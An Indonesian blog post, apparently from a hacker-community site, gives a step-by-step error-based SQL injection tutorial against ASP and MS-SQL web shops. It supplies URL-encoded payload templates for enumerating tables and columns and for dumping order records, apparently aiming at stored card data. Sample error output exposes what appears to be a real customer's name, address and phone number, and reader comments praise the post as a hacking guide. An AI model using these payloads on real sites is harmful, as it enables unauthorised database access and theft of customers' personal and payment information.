Newsflash

Tahukan anda, saat ini youtube memiliki fitur baru yaitu Safety Mode. Dengan fitur Safety Mode ini, maka Pengguna dapat mengontrol penuh cara menyaksikan video atau konten yang ada dalam website tersebut.

hmm... kita tentu perlu memberikan apresiasi atas usaha youtube ini, Akankah para pengguna situs ini akan menggunakan fitur baru tersebut atau tidak...

berita dari sini

 
SQL Injection V.3 PDF Print E-mail
Written by .K   
Tuesday, 07 April 2009 07:06

Undisclosed version dari salah satu artikel gw....

-------------------------------------------------------------------

SQL Injection Adv.3

berikut adalah lanjutan dari v.2 Sql Injection dimana kesemuanya hanya berpengaruh pada mesin  yg menjalankan web ASP + MS-SQL ....

dan inget penulis tidak bertanggung jawab atas segala kemungkinan yg terjadi hehehe

Target  sample : http://www.xxx/qshop/details.asp?prodid=93

The Process :

  1. cari tau vulner atau engga dengan cara menambahkan single quote ato having 1=1—

Contoh : http://www.xxx/qshop/details.asp?prodid=93’ atau http://www.xxx/qshop/details.asp?prodid=93 having 1=1--

  1. kalau errornya MS-SQL bla bla bla berarti vulner, selain itu tidak vulner.

Contoh dari hasil di atas :

http://www.xxx/qshop/details.asp?prodid=93

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.

/qshop/details.asp, line 23

  1. hasil di atas itu menandakan web sample kita itu vulner, dan langkah selanjutnya adalah mencari tau struktur databasenya…..Database terdiri dari table n field. Field apa, table apa?....Field itu kolom2 yg memuat data2 dari input, n Table itu gabungan dari field2 yg sama. Dalam database ada primary key dalam setiap tablenya. (CMIIW)
  2. Gmn cari taunya? Rumus buat nyari table structure n fields :

Cari Table :

%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20

table_name%20not%20in%20(‘x')))--sp_password

 

X didalam tanda kurung itu adalah nama table yg akan keluar dan di insert lagi. Penjelasannya ada dibawah

Cari Field :

%20or%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=

('X')%20and%20column_name%20not%20in%20('Y')))--sp_password

 

X itu nama tablenya

Y itu nama fieldnya

 

  1. udah tau rumusnya? Ok INGET itu rumus….mulai kita hajar web sample. Kita tambahin having di akhiran VALUEnya….jadi :

 

http://www.xxx/qshop/details.asp?prodid=93%20having%201=1--

en keluar errornya :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.Id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/qshop/details.asp, line 23

OK dari error itu kita tau ada table dengan nama Product dan di dalam table product ada field ID.

 

  1. ok, kita cari table dengan isi yg kita inginkan.....how? inget rumus di atas....

 

%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20

in%20(‘x')))--sp_password

 

Sekarang X kita ganti dengan Products. Jadinya

 

%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name

%20not%20in%20('Products')))--sp_password

Trus kita masukin rumus itu di belakang value products

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20

information_schema.tables%20where%20table_name%20not%20in%20('Products')))--sp_password

 

and keluar error :

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Carts' to a column of data type int.

/qshop/details.asp, line 23

Nah ada lagi table dengan nama Carts…got it…cari trus sampe abis….kita tambahin aja value x-nya, jadi :

 

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20

information_schema.tables%20where%20table_name%20not%20in%20('Products','Carts')))--sp_password

abis itu bakal keluar error dengan nama table yg laen…..masukin trus nama2 table itu kyk contoh di atas. Masukin terus sampe errornya gak ada ato errornya beda.

Akhirannya jadi :

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20table_name%20from%20

information_schema.tables%20where%20table_name%20not%20in%20('carts','Categories','CommonList','Config_Table','dbstatus',

'dtproperties','Historic','OrderLines','Orders','Products','Status','sysconstraints','syssegments','test','Users')))--sp_password

 

  1. OK semua struktur tablenya kita tau,,,,,ada table orders….kl menurut logika cc itu berarti disimpen di table orders….ok kita cari tau table orders punya field apa aja?...Inget rumus field di atas? Klo gak inget minum mizone dolO!

%20or%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name

=('X')%20and%20column_name%20not%20in%20('Y')))--sp_password

 

X kita ganti dengan nama table yg akan kita cari field2nya….jadi kita ganti Orders

Y kita kosongin aja dolo tar jg keluar field pertamanya.....jadi :

 

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20

information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('')))--sp_password

 

errornya jadi :

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Id' to a column of data type int.

/qshop/details.asp, line 23

Nah ID itu adalah field pertama dari table orders, artinya kita dapet nilai Y....selanjutnya kita ganti Y jadi ID menjadi :

 

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20

information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('Id')))--sp_password

 

nah tar terus keluar error yg sama persis kyk waktu kita ngeluarin struktur table…trus masukin lagi field2 table order ke dalam nilai Y sampe errornya gak ada lagi atao beda jadi :

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20column_name%20from%20

information_schema.columns%20where%20table_name=('Orders')%20and%20column_name%20not%20in%20('Id','UserID','CartID','Date',

'Name','Surname','Country2','Address','CP','City','Province','Country','Phone','mail','DName','DAddress','DCP','DCity','DProvince',

'DActualCountry','DPhone','PaymentMode','SubTotal','Delivery','Total','Status')))--sp_password

 

  1. OK, struktur table n field dah tau…sekarang gmn caranya kita bisa ngambil nilai dari database? Dalam contoh ini kita ambil info dari database tanpa masuk ke admin. RUMUS lagi :

 

%20or%201=convert(int,(select%20top%201%20convert(varchar,isnull(convert(varchar,%20Y1),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Y),'NULL'))% 20from%20X%20where%20Y1%20not%20in%20('Z')))--sp_password

 

Ok Y1 itu nilai Primary Key, contoh primary key itu ID, OrderID, UserID dll….

Y itu Field lainnya dalam table yg akan di keluarin nilai fieldnya.

X itu Table Name yg akan di ambil data2nya

Z itu nilai dari Y1 bisa jadi 0,1,2,3,4…dst;….

 

Contoh dari sample :

 

http://www.xxx/qshop/details.asp?prodid=93%20or%201=convert(int,(select%20top%201%20convert(varchar,isnull(convert(varchar,%20id),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20date),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20UserID),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Name),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Surname),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Address),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20CP),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20City),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Province),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Country),'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20Phone),

'NULL'))%2b'/'%2bconvert(varchar,isnull(convert(varchar,%20mail),'NULL'))%20from%20orders%20where%20id%20not%20in%20('2918')

%20order%20by%20id%20desc))--sp_password

 

darimana dapet nilai value Y1 ? masukin aja asal dulu misalkan 0, nanti di error yg akan keluar dikasih liat nilai Valuenya, biasanya di awal contoh :

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '3011/Dec 23 2006 2:19PM/L9180ER/Britain/Brady/The Department of Politics, Un/YO10 5DD/York/Please Select/UK/07939086210/ This e-mail address is being protected from spambots. You need JavaScript enabled to view it / ' to a column of data type int.

/qshop/details.asp, line 23

3011 itu nilai dari Primary Key atau Y1…..

Selesai….sql injection gak Cuma berefek di MS-SQL tapi jg di semua SQL…Cuma metodenya beda2….tunggu saja rilisan berikutnya ;)

 

Shoutz : Alpha, Bima, Dextone and all 1stlink n Neoteker crews!

Last Updated on Tuesday, 20 July 2010 06:41
 

Comments  

 
#5 dextone 2010-08-05 21:28 Keep'em up mate… good job… ;p~ Quote
 
 
#4 trickee 2010-04-21 17:48 No matter what others say, I think it is still interesting and useful maybe necessary to improve some minor things Quote
 
 
#3 Fishcake 2010-04-08 09:03 Not bad article, but I really miss that you didn't express your opinion, but ok you just have different approach Quote
 
 
#2 ex 2010-03-16 12:23 keren broo.. thxzz infonya.. Quote
 
 
#1 cLeaNer_uRHope 2010-02-04 03:47 wuiihh keren ne hacking with sql injection..
hmmm..manx cpa c yg first using sql injection ne??..
creative bgt gto..
Quote
 

Add comment

Komentar yg anda keluarkan merupakan tanggungjawab pribadi, Neoteker.or.id tidak bertanggung jawab atas isi komentar yang ada.


Main Menu

Komentar - komentar

 
Template by Tobacamp Development Studio